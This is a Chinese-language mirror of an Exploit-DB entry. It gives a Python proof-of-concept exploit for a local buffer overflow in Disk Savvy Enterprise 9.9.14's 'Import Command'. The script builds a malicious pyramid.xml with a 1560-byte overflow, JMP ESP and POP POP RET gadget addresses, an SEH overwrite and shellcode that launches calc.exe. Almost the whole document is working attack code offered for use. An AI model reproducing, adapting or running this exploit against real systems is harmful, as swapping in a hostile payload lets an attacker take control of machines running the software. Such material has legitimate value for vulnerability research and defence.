Disk Savvy Enterprise 9.9.14 – ‘Import Command’ Local Buffer Overflow

  • 作者: Anurag Srivastava
    日期: 2017-08-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42538/
  • #!/usr/bin/python
     
    # Exploit Title	: Disk Savvy Enterprise v9.9.14 - 'Import Command' Buffer Overflow
    # Discovery by: Anurag Srivastava
    # Email : anurag.srivastava@pyramidcyber.com
    # Website 	: www.pyramidcyber.com
    # Discovery Date: 22/08/2017
    # Software Link : http://www.disksavvy.com/setups/disksavvyent_setup_v9.9.14.exe
    # Tested Version: 9.9.14
    # Tested on OS: Windows 7 Ultimate x64bit and Windows 10 Home Edition x64
    # Steps to Reproduce: Run the python file to generate pyramid.xml and then open disk pulse software , right click and click on import command . Select pyramid.xml file .
     
    import os,struct
     
    #offset to eip
    junk = "A" * (1560)
    
    #JMP ESP (QtGui4.dll)
    jmp1 = struct.pack('<L',0x651bb77a)
    
    #NOPS
    nops = "\x90"
     
    #LEA EAX, [ESP+76]
    esp = "\x8D\x44\x24\x4c"
    
    #JMP ESP
    jmp2 = "\xFF\xE0"
    
    #JMP Short
    nseh = "\x90\x90\xEB\x05" #Jump short 5
    
    
    
    #POP POP RET (libspp.dll)
    seh = struct.pack('<L',0x10015FFE)
    
    
    #CALC.EXE
    shellcode ="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
     
    
    # FINAL PAYLOAD
    evil = junk + jmp1 + nops * 16 + esp + jmp2 + nops * 64 + nseh + seh + nops * 10 + shellcode 
    
     
    #FILE
    file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + evil + '\n</classify>'
     
    f = open('pyramid.xml', 'w')
    f.write(file)
    f.close()